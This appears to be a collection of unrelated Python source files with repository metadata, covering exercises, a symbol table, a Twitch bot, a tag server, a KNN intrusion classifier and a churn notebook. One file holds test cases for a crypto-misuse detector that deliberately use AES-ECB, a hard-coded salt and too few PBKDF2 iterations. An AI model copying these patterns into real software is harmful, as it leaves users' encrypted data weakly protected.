class SymbolTable: # class entry: # def __init__(self, lexeme, Etype, offset): # self.lexeme = lexeme # self.Etype = Etype # self.offset = offset class SymbolError(Exception): pass def getType(self, lexeme): if self._entryDict.get(lexeme): return self._entryDict[lexeme][0] else: raise SymbolTable.SymbolError(f"symbol hasn't been declared: {lexeme}") def put(self, lexeme, Etype, offset): if self._entryDict.get(lexeme): raise SymbolTable.SymbolError(f"duplication of symbol name : {lexeme}") self._entryDict[lexeme] = (Etype, offset) def getAddr(self, lexeme): if self._entryDict.get(lexeme): return lexeme else: raise SymbolTable.SymbolError(f"symbol hasn't been declared: {lexeme}") def temp(self): newTemp = f'tmp{self.count}' self.count += 1 return newTemp def newLabel(self): newTemp = f'L{self.Lcount}' self.Lcount += 1 return newTemp def newEnv(self, envName): parentEnv = self._env self._env = envName self._entryDict = {} self._envDict[envName] = (parentEnv, self._entryDict) # 其实是有bug的但..who care def popEnv(self): self._env = self._envDict[self._env][0] self._entryDict = self._envDict[self._env][1] def __init__(self): self._env = 'main' self._entryDict = {} self._envDict = {'main': (None, self._entryDict)} self.count = 0 #临时变量计数 self.Lcount = 0 #标签计数 def __str__(self): Rstr = "" from prettytable import PrettyTable for ename, (_, entryDict) in self._envDict.items(): Rstr += ename+'\n' printTable = PrettyTable(['name', 'type', 'offset']) for vname, (_type, offset) in entryDict.items(): printTable.add_row([vname, _type, offset]) Rstr += printTable.get_string() Rstr += '\n\n' return Rstr
true
b8da1302088e42c1ab3d3d22bf7c059880292526
Python
chysch/Phonetic-Pun-ishment
/synthesize.py
UTF-8
2,189
2.71875
3
[]
no_license
import sys from synthesize_funcs import * from rules import * # Runs the main synthesis module which finds phonetic # matches for the test data. def Synthesize(output, phon, back, rules): print("Synthesizing...") # Organize input rule_file = open(rules, 'r') rule_lines = rule_file.readlines() rule_file.close() rule_lines = PrepareRules(rule_lines)[2] phon_file = open(phon, 'r') phon_lines = phon_file.readlines() phon_file.close() back_file = open(back, 'r') back_lines = back_file.readlines() back_file.close() back_data = PrepareBackData(back_lines) phon_data = PreparePhonData(phon_lines) raw_file = open(output + '.raw', 'w') raw_file.close() count = 0 for pair in phon_data: # Create data raw_lines = [] raw_lines.append(pair[0]) matches = [] for d in pair[1]: parts = GetMatches(d, back_data, rule_lines) parts = map(lambda x: \ d[0]+x.rstrip('\n')+d[2]+'\n'\ , parts) parts = list(parts) matches = matches + parts matches = list(set(matches)) matches.sort() raw_lines.append(str(len(matches)) + '\n') raw_lines = raw_lines + matches raw_lines.append('\n') count = count + 1 print("Completed synthesis for #" + str(count),\ pair[0].rstrip('\n'), "(" + str(len(matches)) + ")") # Output raw_file = open(output + '.raw', 'a') raw_file.writelines(raw_lines) raw_file.close() # If this module is the main running module make sure # the arguments are valid. if __name__ == '__main__': # Get command line arguments and allow for IDLE manual # argument input. if 'idlelib' in sys.modules: if sys.modules['idlelib']: print("Usage: <output name> <PHON file> <BACK file> <RULE file>") sys.argv.extend(input("Args: ").split()) if len(sys.argv) != 5: print("Usage: <output name> <PHON file> <BACK file> <RULE file>") else: Synthesize(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
true
d4a8196367a0c741afe90691d7ee1a3c5085a82e
Python
JoeA42/programa-pymes
/master.py
UTF-8
79
2.71875
3
[]
no_license
def test(): if(1 == 1): print("yes") else: print("no")
true
40b4874b2461bc16608424d26b40ea91e6b25032
Python
MadhavJivrajani/HGQC_Assignment_Repo
/Week3/Naman Jain/naman jain week 3 gates.py
UTF-8
717
2.5625
3
[ "MIT" ]
permissive
import numpy as np import math random_matrix=np.array([[0,1,0,1],[1,0,1,0]]) '''Pauli gates''' X=np.array([[0,1],[1,0]]) Y=np.array([[0,1j],[-1j,0]]) Z=np.array([[1,0],[0,-1]]) '''Hadmard gate''' H=1/math.sqrt(2)*np.array([[1,1],[1,-1]]) '''Controlled NOT - CNOT''' CNOT=np.array([[1,0,0,0],[0,1,0,0],[0,0,0,1],[0,0,1,0]]) '''Controlled Pauli Z - CZ''' CZ=np.array([[1,0,0,0],[0,1,0,0],[0,0,1,0],[0,0,0,-1]]) '''Swap gate -S''' S=np.array([[1,0,0,0],[0,0,1,0],[0,1,0,0],[0,0,0,1]]) '''Tofolli - CCNOT''' CCNOT=np.array([[1,0,0,0,0,0,0,0],[0,1,0,0,0,0,0,0],[0,0,1,0,0,0,0,0],[0,0,0,1,0,0,0,0], [0,0,0,0,1,0,0,0],[0,0,0,0,0,1,0,0],[0,0,0,0,0,0,1,0],[0,0,0,0,0,0,0,1]])
true
9862b61176bc41e2302cf18a51d25587bc14b07b
Python
nlakritz/codingbat-python-solutions
/warmup-1/not_string.py
UTF-8
191
3.25
3
[]
no_license
def not_string(str): notString = "not" if (str.find("not") == 0): #returns starting index of search string if located, otherwise returns -1 return str else: return "not " + str
true
edb3656a0ab0f0b5e79a19abc11edfb5b395ba31
Python
stasych/study_algorithm
/hackerrank/algorithms/sorting/counting_sort_4.py
UTF-8
661
2.609375
3
[]
no_license
# -*- coding: utf-8 -*- ''' https://www.hackerrank.com/challenges/countingsort4 sample successfull passed INPUT 20 0 ab 6 cd 0 ef 6 gh 4 ij 0 ab 6 cd 0 ef 6 gh 0 ij 4 that 3 be 0 to 1 be 5 question 1 or 2 not 4 is 2 to 4 the RIGHT OUTPUT 0 ab 0 ef 0 ab 0 ef 0 ij 0 to 1 be 1 or 2 not 2 to 3 be 4 ij 4 that 4 is 4 the 5 question 6 cd 6 gh 6 cd 6 gh ''' __author__ = 'Stas' if __name__ == '__main__': n = input() k = 100 num_lst = [[] for i in xrange(0,k)] for i in xrange(0,n): x,s = raw_input().split(' ') x = int(x) num_lst[x].append(s) for x in xrange(0,k): for j in num_lst[x]: print x,j
true
28887b49d65e0bb319302a8c2ff372d9b348c5a2
Python
onitonitonito/k_mooc_reboot
/module_pygame/assets/sprite.py
UTF-8
540
3.625
4
[]
no_license
import pygame # DEFINE FUNCTION def set_load(filename): return pygame.image.load(filename) def set_size(obj, width, height): return pygame.transform.scale(obj, (width, height)) def set_rotate(obj, angle): return pygame.transform.rotate(obj, angle) # GETHER ABOVES def set_sprite(filename, width=0, height=0, angle=0): sprite = set_load(filename) if (width * height) is not 0: sprite = set_size(sprite, width, height) if angle is not 0: sprite = set_rotate(sprite, angle) return sprite
true
1b6789611a2bad866ff46b7a7dd86dfd7d2f4050
Python
stg-tud/licma
/resources/test_cases/python/PyCrypto/TestRule5.py
UTF-8
2,371
2.75
3
[ "MIT" ]
permissive
from Crypto.Protocol.KDF import PBKDF2 from Crypto.Cipher import AES from Crypto.Random import random g_count = 999 def p_example1_hard_coded(password, data): key = PBKDF2(password, b"12345678", 16, count=999) cipher = AES.new(key, AES.MODE_ECB) cipher_text = cipher.encrypt(data) return cipher_text def p_example2_local_variable(password, data): count = 999 key = PBKDF2(password, b"12345678", 16, count=count) cipher = AES.new(key, AES.MODE_ECB) cipher_text = cipher.encrypt(data) return cipher_text def p_example3_nested_local_variable(password, data): count1 = 999 count2 = count1 count3 = count2 key = PBKDF2(password, b"12345678", 16, count=count3) cipher = AES.new(key, AES.MODE_ECB) cipher_text = cipher.encrypt(data) return cipher_text def p_example_method_call(password, count, data): key = PBKDF2(password, b"12345678", 16, count=count) cipher = AES.new(key, AES.MODE_ECB) cipher_text = cipher.encrypt(data) return cipher_text def p_example_nested_method_call(password, count, data): return p_example_method_call(password, count, data) def p_example4_direct_method_call(password, data): count = 999 return p_example_method_call(password, count, data) def p_example5_nested_method_call(password, data): count = 999 return p_example_nested_method_call(password, count, data) def p_example6_direct_g_variable_access(password, data): key = PBKDF2(password, b"12345678", 16, count=g_count) cipher = AES.new(key, AES.MODE_ECB) cipher_text = cipher.encrypt(data) return cipher_text def p_example7_indirect_g_variable_access(password, data): count = g_count key = PBKDF2(password, b"12345678", 16, count=count) cipher = AES.new(key, AES.MODE_ECB) cipher_text = cipher.encrypt(data) return cipher_text def p_example8_warning_parameter_not_resolvable(password, count, data): key = PBKDF2(password, b"12345678", 16, count=count) cipher = AES.new(key, AES.MODE_ECB) cipher_text = cipher.encrypt(data) return cipher_text def n_example1_iterations_eq_1000(password, data): salt = random.getrandbits(16).to_bytes(16, 'big') key = PBKDF2(password, salt, 16, count=1000) cipher = AES.new(key, AES.MODE_ECB) cipher_text = cipher.encrypt(data) return cipher_text
true
b201cbacd12501a922c6adee3e55708aa2e72ab0
Python
824zzy/Leetcode
/K_DynamicProgramming/TimeSequential/L1_45_Jump_Game_II.py
UTF-8
729
3.078125
3
[]
no_license
""" https://leetcode.com/problems/jump-game-ii/ update maximum reach dp by: dp[i+j] = min(dp[i+j], dp[i]+1) Time complexity: O(n*k), where n<=10^4, k<=10^3 """ from header import * class Solution: def jump(self, A: List[int]) -> int: dp = [float('inf')] * len(A) dp[0] = 0 for i in range(len(A)): for j in range(1, A[i]+1): if i+j<len(A): dp[i+j] = min(dp[i+j], dp[i]+1) return dp[-1] class Solution: def jump(self, A: List[int]) -> int: @cache def dp(i): if i>=len(A)-1: return 0 ans = inf for j in range(i+1, i+A[i]+1): ans = min(ans, 1+dp(j)) return ans return dp(0)
true
176ff8bfb28a4f159b90a291191b45918ea27cca
Python
saif43/python-oop
/inheritence+super.py
UTF-8
807
3.109375
3
[]
no_license
class Phone: # constructor def __init__(self,name,model,price): self.name = name self.model = model self.price = price class ButtonPhone(Phone): # constructor def __init__(self,name,model,price,a,b,c): self.a = a self.b = b self.c = c super().__init__(name,model,price) class Android(Phone): # constructor def __init__(self,name,model,price,p,q,r): self.p = p self.q = q self.r = r super().__init__(name,model,price) class Apple(Phone): # constructor def __init__(self,name,model,price,x,y,z): self.x = x self.y = y self.z = z super().__init__(name,model,price) print(Apple('Iphone','X',10000,1,2,3).z) print(Apple('Iphone','X',10000,1,2,3).name)
true
49bba97c587e212b0cf2982d1548712d9dea5ab0
Python
lauren-ai/CASIA
/code/df314-master/utils.py
UTF-8
954
3.109375
3
[]
no_license
import csv import math import numpy as np import json from datetime import datetime def write_event(log, step, **data): data['step'] = step data['dt'] = datetime.now().isoformat() log.write(json.dumps(data, sort_keys=True)) log.write('\n') log.flush() def check_crop_size(image_height, image_width): """Checks if image size divisible by 32. Args: image_height: image_width: Returns: True if both height and width divisible by 32 and False otherwise. """ return image_height % 32 == 0 and image_width % 32 == 0 def load_csv(filepath): with open(filepath) as f: reader = csv.reader(f) points = list(reader) return np.array(points) def write_csv(filepath, data): with open(filepath, mode='w') as f: f_csv = csv.writer(f) f_csv.writerows(data) def get_degree(x, y): d = math.atan2(y, x) d = d / math.pi * 180 + 180 return d
true
2c4abe5c436f86852b37dbcc95efc160f4b02971
Python
HLGhpz/WordCloud
/jieba_play.py
UTF-8
1,862
3.015625
3
[]
no_license
import jieba import wordcloud import PIL.Image as image import numpy as np from pprint import pprint def get_word_list(): with open('D:\python\play\word.txt', encoding='utf-8') as f: text_my = f.read().split() my_str = '' for text_str in text_my: my_str += text_str # pprint(my_str) return(my_str) def split_word(my_str): jieba.suggest_freq('中美', True) jieba.add_word('中美') word_list = jieba.cut(my_str, cut_all=False) my_list = " ".join(word_list).split(' ') # pprint(my_list) return(my_list) def quit_stop_word(my_list): with open('D:\python\play\stopwords.txt', encoding='utf-8') as f: stop_word = f.read().split() # print(stop_word) result = '' # pprint(my_list) for word in my_list: if word not in stop_word: # pprint(word) result += word result += ' ' # print(my_word) return result def creat_image(result): jieba.load_userdict("D:\python\play\dict.txt") image_4 = image.open("D:\python\play\\1.png") mask = np.array(image.open("D:\python\play\\1.png")) font_path = "C:\Windows\Fonts\STXINGKA.TTF" image_4.show() imgcolor = wordcloud.ImageColorGenerator(mask) wd = wordcloud.WordCloud( mask=mask, font_path=font_path, # 设置字体 background_color="white", # 背景颜色 max_words=20000, # 词云显示的最大词数 max_font_size=200, # 字体最大值 min_font_size = 20, # random_state=42, color_func=imgcolor, ).generate(result) image_produce = wd.to_image() image_produce.show() def main(): my_str = get_word_list() my_list = split_word(my_str) result = quit_stop_word(my_list) creat_image(result) if __name__ == '__main__': main()
true
e56135cffa2761ad32971dd7b1fcec8622c6b7cf
Python
lhbiao/weilai
/python_day03/源代码/实战二十三.py
UTF-8
217
3.296875
3
[]
no_license
number = int(input('请输入一个数字:')) while number == 0: print('') break while number < 100: print('命运给予我们的不是失望之酒,而是机会之杯\n'*number) break
true
1c135cccb784abf9c77b4124a4ad64283433b0e4
Python
mashiuka/seckyan-18
/client.py
UTF-8
492
2.90625
3
[]
no_license
import socket addres = ('localhost', 1234) max_size = 1000 masage = input() if len(masage) is 0: masage = "NO NAME" masage = '{0}'.format(masage).encode('utf-8') print(masage) #何を送るか try: client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) client.connect(addres) client.sendall(masage) data = client.recv(max_size) data1 = data.decode('UTF-8') print(data1) client.close() except ConnectionRefusedError: print('ConnectionRefusedError')
true
3cee9213f729594a59e1d3563677daec24719cbe
Python
chandan2710/kallisto
/src/kallisto/reader/strucreader.py
UTF-8
1,415
3.078125
3
[ "Apache-2.0" ]
permissive
# src/kallisto/reader/strucreader.py import click from kallisto.molecule import Molecule import kallisto.reader.turbomole as tm import kallisto.reader.xyz as xyz from kallisto.utils import errorbye def constructMolecule(geometry: str, out: click.File) -> Molecule: """Helper function to construct a Molecule.""" try: with open(geometry, "r+") as fileObject: # read atoms from input file atoms = read(fileObject) # create molecule from atoms molecule = Molecule(symbols=atoms) except FileNotFoundError: errorbye("Input file not found.") return molecule def read(fileObject): """Method to first check the file type and then read the structure accordingly The returned atom coordinates will be in Bohr """ fname = fileObject.name.lower() filetp = "unknown" lines = fileObject.readlines() if fname.endswith((".xyz")): filetp = "xyz" else: for line in lines: if line.strip().startswith("$coord"): filetp = "turbomole" break fileObject.close() atoms = [] newfile = open(fname, "r+") if filetp == "turbomole": atoms = tm.read(newfile) elif filetp == "xyz": atoms = xyz.read(newfile) else: errorbye("Input format erroneous or not implemented.") newfile.close() return atoms
true
01d4c609fce05673e2e411655d447a4eefbf92b0
Python
rgcalsaverini/safer-tags
/tag_server/collectors.py
UTF-8
4,192
2.625
3
[]
no_license
import json from time import time from flask import session, request from tag_server import gen_error valid_pagetypes = ['product'] def generic_data(store_id, tag_type): """ Assemble a generic data payload for the tag. Could be supplemented by specific tags. :param store_id: And arbitrary ID identifying the store :param tag_type: The type of the tag being collected. Ex: pageview :return: The data object """ data = get_request_data() return { 'tag_type': tag_type, 'user_id': session['user_id'] if 'user_id' in session else '(not set)', 'origin': data.get('origin', 'direct'), 'received_at': int(time()), 'store_id': store_id, 'products': data.get('products', []) } def enqueue_tag(payload, redis_connection): """ Enqueue the tag to be processed later, as to not delay user response. :param payload: The data payload for the tag :param redis_connection: :return: """ last_idx = int(redis_connection.incr('last_queue_idx')) redis_connection.rpush('tag_queue', last_idx) redis_connection.set('tag_data[{}]'.format(last_idx), json.dumps(payload)) def get_request_data(): """ Get all the data passed to the request on a single dictionary :return: A dictionary of all the data """ query_args = request.args.to_dict() form_args = request.form.to_dict() try: json_args = request.get_json(force=True) except TypeError: json_args = dict() all_data = {**query_args, **form_args, **json_args} results = dict() for k, v in all_data.items(): try: val = json.loads(v) if type(v) is str else v except ValueError: val = str(v) results[k] = val return results def get_collectors(redis_ref, app_ref): """ Forms the collector factory. :param redis_ref: A redis connection object :param app_ref: A flask application object :return: """ redis = redis_ref app = app_ref class CollectorsFactory(object): @staticmethod def pageview(store_id, pagetype): """ Collects a simple pageview tag :param store_id: And arbitrary ID identifying the store :param pagetype: One of the valid pagetipes on 'valid_pagetypes' :return: An empty HTTP response (204, no content) """ if pagetype not in valid_pagetypes: return gen_error('invalid_pagetype', pagetype) pageview_data = generic_data(store_id, 'pageview') pageview_data['pagetype'] = pagetype enqueue_tag(pageview_data, redis) return '', 204 @staticmethod def add_to_cart(store_id): """ Collects a 'add to cart' event tag :param store_id: And arbitrary ID identifying the store :return: An empty HTTP response (204, no content) """ event_data = generic_data(store_id, 'add_to_cart') enqueue_tag(event_data, redis) return '', 204 @staticmethod def remove_from_cart(store_id): """ Collects a 'remove from cart' event tag :param store_id: And arbitrary ID identifying the store :return: An empty HTTP response (204, no content) """ event_data = generic_data(store_id, 'remove_from_cart') enqueue_tag(event_data, redis) return '', 204 @staticmethod def purchase(store_id, total, tr_id): """ Collects a 'purchase' event tag :param store_id: And arbitrary ID identifying the store :param total: The transaction's total value :param transaction_id: The transaction's id :return: An empty HTTP response (204, no content) """ event_data = generic_data(store_id, 'purchase') event_data['total'] = float(total) / 100 event_data['transaction_id'] = tr_id enqueue_tag(event_data, redis) return '', 204 return CollectorsFactory
true
bc7e922ecddbf214e2fd8b995b1bdc22a954a1a5
Python
HowardOhMyGod/stock_back_end
/src/tech_signal_check/breakChecker.py
UTF-8
4,136
3.09375
3
[]
no_license
# coding: utf-8 from datetime import datetime from checker import BaseChecker, BaseStarter ''' 功能: 檢查該股當日交易資料是否符合均線糾結,向上突破的特徵 物件參數: 該股documet 回傳值: True or False ''' class TechChecker(BaseChecker): def __init__(self, stock, back_days = 1, options = None): super().__init__(stock, options=options) # 取得該股最近一天的交易資訊 self.latest_prcie = stock['history'][-back_days] # 取得該股vlolumn_5MA self.today_volumn_5ma = stock['volumn_5_ma'][-back_days] # 檢測前n天的資料: 1 = 前一天, 2 = 前兩天 self.back_days = back_days # 取得指定天數的5, 10, 20 MA, 格式: tuple(5_ma[back_days], 10_ma[back_days], 20_ma[back_days]) self.ma_list = self.get_ma_list(self.MA) '''取得近期特定天數的MA tuple''' def get_ma_list(self, MA): day = self.options['sticky_days'] back_days = self.back_days - 1 if back_days != 0: mv_5_3d = MA['MA_5'][-day - back_days: -back_days] mv_10_3d = MA['MA_10'][-day - back_days : -back_days] mv_20_3d = MA['MA_20'][-day - back_days: -back_days] else: mv_5_3d = MA['MA_5'][-day:] mv_10_3d = MA['MA_10'][-day:] mv_20_3d = MA['MA_20'][-day:] # 檢查該股資料有沒有齊全,沒有回傳None,主程式會跳過此股 if len(mv_5_3d) != day or len(mv_10_3d) != day or len(mv_20_3d) != day: return None return (mv_5_3d, mv_10_3d, mv_20_3d) '''檢查主程式''' def is_break(self): # 缺少MA資料,跳過此股 if self.ma_list is None: return False # 設定options self.set_options() return (self.is_sticky(self.ma_list) and self.is_k_size(self.latest_prcie) and self.is_close_big_than_5MA(self.latest_prcie, self.ma_list[0][-1]) and self.is_HC_range(self.latest_prcie) and self.is_volumn(self.latest_prcie['volumn'], self.today_volumn_5ma) and self.is_up_5ma(self.ma_list)) ''' 功能: 檢查資料庫每支股票是否有符合技術新特徵 start完後內部資料: pass_company: list of stock dict (符合特徵之股票代碼,名稱,當日收盤價) lost_company: list of stock code (有缺少資料之股票代碼) ''' class CheckStarter(BaseStarter): def __init__(self, back_days = 5, options = None): super().__init__(options=options) self.pass_company = [] self.lost_company = [] self.stocks = super().get_risk_level_stock(self.db['price']) self.back_days = back_days def start(self): for stock in self.stocks: try: # 檢查前10天內有無符合特徵的股票 for back_day in range(1, self.back_days): stock_check = TechChecker(stock, back_day, self.options) # add stock code, name, close_price as dict to pass list if stock_check.is_break(): self.pass_company.append({ 'name': stock['name'], 'code': stock['code'], 'date': stock_check.latest_prcie['date'].strftime("%Y/%m/%d"), 'today_close_price': stock_check.latest_prcie['close'] }) except Exception as e: # print(e) self.lost_company.append(stock['code']) # close cursor self.stocks.close() self.pass_company = sorted(self.pass_company, key=lambda stock: datetime.strptime(stock['date'], "%Y/%m/%d"), reverse = True) if __name__ == '__main__': checker = CheckStarter(options={'k_size': 0.07, 'risk_level': 'Mid'}) checker.start() print(f"Pass Company: {checker.pass_company}") print(f"Lost Company: {checker.lost_company}, count: {len(checker.lost_company)}")
true
04a26d5951fa2eaf7409547072ce0509684c7fe2
Python
EwenBorland/TwitchBot
/ircSocket.py
UTF-8
1,666
2.6875
3
[]
no_license
from socket import socket class IRCSocket: def __init__(self,host,port,auth,name): self.host = host self.port = port self.auth = auth self.name = name def setup(self,skt): self.skt = skt skt.connect((self.host,self.port)) skt.send(("".join(("PASS ", self.auth, "\r\n"))).encode('utf-8')) skt.send(("".join(("NICK ", self.name, "\r\n"))).encode('utf-8')) print("setup complete") def joinChannel(self, channel): self.skt.send(("".join(("JOIN ", channel, "\r\n"))).encode('utf-8')) self.sendMessage("I have arrived Kappa", channel) self.initBuffer() print("Joined {0}".format(channel)) def sendMessage(self, message, channel): self.skt.send(("".join(("PRIVMSG ", channel, " :", message, "\r\n"))).encode('utf-8')) print("Message sent") def initBuffer(self): readBuffer = "" hasLines = True while hasLines: readBuffer += self.skt.recv(1024).decode('utf-8') temp_buffer = readBuffer.split("\n") readBuffer = temp_buffer.pop() for line in temp_buffer: print(line) if "End of /NAMES list" in line: hasLines = False print("joining finished") def parseBuffer(self, readBuffer): readBuffer += self.skt.recv(1024).decode('utf-8') temp_buffer = readBuffer.split("\n") readBuffer = temp_buffer.pop() for line in temp_buffer: print(line) if "!shutdown" in line: return False return True
true
8d08bc9e276e04b916ac05388b797531909f32b7
Python
kalyan-babu/Intrusion-Detection-system-IDS-
/classifer1.py
UTF-8
3,236
2.78125
3
[]
no_license
import math import operator import numpy as np import load_test_dataset1 as test import load_train_dataset1 as train def euclideandistance(instance1,instance2,length): distance=0 for x in range(length): distance+=pow((instance1[x]-instance2[x]),2) return math.sqrt(distance) #finding all the neighbors def getneighbors(trainingset,testinstance,trainheader,k): distances=[] length=len(testinstance) for x in range(len(trainingset)): dist=euclideandistance(testinstance,trainingset[x],length) distances.append((trainingset[x],trainheader[x],dist)) distances.sort(key=operator.itemgetter(2)) neighbors=[] for x in range(k): neighbors.append(distances[x]) return neighbors #finding exact one to the test set prediction def getresponse(neighbors): classvotes={} for x in range(len(neighbors)): response=neighbors[x][1] if response in classvotes: classvotes[response]+=1 else: classvotes[response]=1 sortedvotes=sorted(classvotes.items(),key=operator.itemgetter(1),reverse=True) return sortedvotes[0][0] #for finding the accuracy def getaccuracy(testset,testheader,predictions): dos=0 u2r=0 r2l=0 probe=0 normal=0 correct=0 for x in range(len(testset)): if testheader[x]==predictions[x]: correct+=1 if testheader[x] in test.dos: dos+=1 if testheader[x] in test.r2l: r2l+=1 if testheader[x] in test.u2r: u2r+=1 if testheader[x] in test.probe: probe+=1 if testheader[x] in test.normal: normal+=1 return (correct/float(len(testset)))*100.0,(dos/float(test.count_dos))*100.0,(r2l/float(test.count_r2l))*100.0,(u2r/float(test.count_u2r))*100.0,(probe/float(test.count_probe))*100.0,(normal/float(test.count_normal))*100.0 def main(): predictions=[] k=5 for x in range(len(test.dataset)): neighbors=getneighbors(train.dataset,test.dataset[x],train.header,k) result=getresponse(neighbors) predictions.append(result) print('>predicted='+repr(result)+',actual='+repr(test.header[x])) total_accuracy,dos_accuracy,r2l_accuracy,u2r_accuracy,probe_accuracy,normal_accuracy=getaccuracy(test.dataset,test.header,predictions) print("\nTotalTestSet_dos_attackas="+repr(test.header.shape[0])) print("TotalTestSet_dos_attackas="+repr(test.count_dos)) print("TotalTestSet_r2l_attackas="+repr(test.count_r2l)) print("TotalTestSet_u2r_attackas="+repr(test.count_u2r)) print("TotalTestSet_probe_attackas="+repr(test.count_probe)) print("TotalTestSet_normal_attackas="+repr(test.count_normal)) print('\nTotal_Accuracy:'+repr(total_accuracy)+'%') print('DOS_Accuracy:'+repr(dos_accuracy)+'%') print('R2L_Accuracy:'+repr(r2l_accuracy)+'%') print('U2R_Accuracy:'+repr(u2r_accuracy)+'%') print('PROBE_Accuracy:'+repr(probe_accuracy)+'%') print('NORMAL_Accuracy:'+repr(normal_accuracy)+'%') main()
true
cd7173894ff8c47b74fda6dbbcb428fc1a639a17
Python
rohit8871/Edwisor-1st-Project---Churn-Reduction
/churn Reduction.py
UTF-8
17,839
3.171875
3
[]
no_license
#!/usr/bin/env python # coding: utf-8 # In[288]: #Loan Library import os import pandas as pd import numpy as np import matplotlib.pyplot as plt from pandas import get_dummies # # 1) Data collection # In[363]: # set working directory os.chdir("D:/MY FIRST EDWISOR PROJECT\My first edwisor projects in python") # In[364]: # Load data churn_train=pd.read_csv("Train_data.csv") churn_test=pd.read_csv("Test_data.csv") # In[365]: churn_test.head(1) # In[366]: # print no. of customer in the data sets print(" # of customers:" +str(len(churn_train.index))) # # 2) Analyzing data # In[367]: import seaborn as sns # using count plot sns.countplot(x="Churn",data=churn_train) # In[368]: sns.countplot(x="Churn",hue="international plan", data=churn_train) # In[151]: sns.countplot(x="Churn",hue="voice mail plan", data=churn_train) # In[152]: # Histogram churn_train["account length"].plot.hist(bins=500,figsize=(10,5)) # In[153]: churn_train["total day minutes"].plot.hist(bins=500,figsize=(10,5)) # In[154]: churn_train.info() # In[155]: churn_train["number vmail messages"].plot.hist(bins=50,figsize=(10,5)) # In[156]: churn_train["total day calls"].plot.hist(bins=500,figsize=(10,5)) # In[157]: churn_train["total day minutes"].plot.hist(bins=50,figsize=(10,5)) # In[158]: churn_train["total day charge"].plot.hist(bins=400,figsize=(10,5)) # In[159]: churn_train["total eve minutes"].plot.hist(bins=300,figsize=(10,5)) # In[160]: churn_train["total eve calls"].plot.hist(bins=500,figsize=(10,5)) # In[161]: churn_train["total eve charge"].plot.hist(bins=500,figsize=(10,5)) # In[162]: churn_train["total night minutes"].plot.hist(bins=500,figsize=(10,5)) # In[163]: churn_train["total night calls"].plot.hist(bins=500,figsize=(10,5)) # In[164]: churn_train["total night charge"].plot.hist(bins=500,figsize=(10,5)) # In[165]: churn_train["total intl minutes"].plot.hist(bins=500,figsize=(10,5)) # In[166]: churn_train["total intl charge"].plot.hist(bins=500,figsize=(10,5)) # In[167]: churn_train["total intl calls"].plot.hist(bins=50,figsize=(10,5)) # In[168]: churn_train["number customer service calls"].plot.hist(bins=100,figsize=(10,5)) # In[295]: churn_train.columns # In[170]: churn_train.describe() # # 3) Data wrangling # In[369]: #### Transform ctegorical data into factor in Train and Test data from sklearn.preprocessing import LabelEncoder number=LabelEncoder() # In[370]: #state variable churn_train["state"]=number.fit_transform(churn_train["state"].astype("str")) churn_train.head(2) # In[371]: # state variable churn_test["state"]=number.fit_transform(churn_test["state"].astype("str")) churn_test.head(2) # In[372]: #international plan churn_train["international plan"]=number.fit_transform(churn_train["international plan"].astype("str")) churn_train.head(1) # In[373]: # international plan churn_test["international plan"]=number.fit_transform(churn_test["international plan"].astype("str")) churn_test.head(1) # In[374]: # voice mail plan churn_train["voice mail plan"]=number.fit_transform(churn_train["voice mail plan"].astype("str")) churn_train.head(1) #voice mail plan churn_test["voice mail plan"]=number.fit_transform(churn_test["voice mail plan"].astype("str")) churn_test.head(1) # In[375]: # churn - train data churn_train["Churn"]=number.fit_transform(churn_train["Churn"].astype("str")) churn_train.head(1) # In[376]: # churn Test data churn_test["Churn"]=number.fit_transform(churn_test["Churn"].astype("str")) churn_test.head(1) # # 3.1) Missing value Analysis # In[360]: # create dataframe with missing percentage missing_churn_train=pd.DataFrame(churn_train.isnull().sum()) missing_churn_test=pd.DataFrame(churn_train.isnull().sum()) # In[305]: #missing_churn_train # NO Any Missing Value Found #missing_churn_test # In[306]: # Heat map to check missing sns.heatmap(churn_train.isnull(),yticklabels=False) # No missing value found # # 3.2) Outlier Analysis # In[307]: churn_train.columns # In[308]: churn_train.describe() # In[309]: # plot boxplot to visualize outliers sns.boxplot(x="Churn",y="total intl charge",data=churn_train) # In[182]: sns.boxplot(x="Churn",y="account length",data=churn_train) # In[183]: sns.boxplot(x="Churn",y="area code",data=churn_train) # In[184]: sns.boxplot(x="Churn",y="number vmail messages",data=churn_train) # In[185]: sns.boxplot(x="Churn",y="total day minutes",data=churn_train) # In[186]: sns.boxplot(x="Churn",y="total day calls",data=churn_train) # In[187]: sns.boxplot(x="Churn",y="total day charge",data=churn_train) # In[188]: sns.boxplot(x="Churn",y="total eve minutes",data=churn_train) # In[189]: sns.boxplot(x="Churn",y="total eve calls",data=churn_train) # In[190]: sns.boxplot(x="Churn",y="total eve charge",data=churn_train) # In[191]: sns.boxplot(x="Churn",y="total night minutes",data=churn_train) # In[192]: sns.boxplot(x="Churn",y="total night calls",data=churn_train) # In[193]: sns.boxplot(x="Churn",y="total night charge",data=churn_train) # In[194]: sns.boxplot(x="Churn",y="total intl minutes",data=churn_train) # In[195]: sns.boxplot(x="Churn",y="total intl calls",data=churn_train) # In[196]: sns.boxplot(x="Churn",y="total intl charge",data=churn_train) # In[197]: sns.boxplot(x="Churn",y="number customer service calls",data=churn_train) # In[315]: # save numeric names #colnames=["account length","area code","number vmail messages","total day minutes","total day calls", # "total day charge","total eve minutes","total eve calls","total eve charge", # "total night minutes","total night calls","total night charge","total intl minutes", # "total intl calls","total intl charge","number customer service calls"] # In[377]: # Detect and delete outliers from data #for i in colnames: # print(i) # q75,q25=np.percentile(churn_train.loc[:,i],[75,25] # iqr=q75-q25 #(iqr-> Inter Qualtile range : helps us to calculate the inner fence) # min=q25-(iqr*1.5) # Lower fence # max=q75+(iqr*1.5) # Upper fence # print(min) # print(max) # churn_train=churn_train.drop(churn_train[churn_train.loc[:,i]<min].index) # churn_train=churn_train.drop(churn_train[churn_train.loc[:,i]>max].index) # In[378]: #churn_train.describe() # In[379]: #churn_train.head(1) # # 3.3) Feature selection # In[380]: #Load Library import scipy.stats from scipy.stats import chi2_contingency # In[381]: ## correlation analysis # correlation plot df_corr=churn_train.loc[:,colnames] # set yhe width and height of plot f,ax=plt.subplots(figsize=(20,6)) # Generate correlation Matrix corr=df_corr.corr() #plot using seaborn Library sns.heatmap(corr,mask=np.zeros_like(corr,dtype=np.bool),cmap=sns.diverging_palette(250,10,as_cmap=True), square=True,ax=ax) # In[382]: ## Chisquare test of independence # save categorical variable cat_names=['state','phone number','international plan', 'voice mail plan'] # In[383]: churn_train.columns # In[384]: # Loop for chi_square values for i in cat_names: print(i) 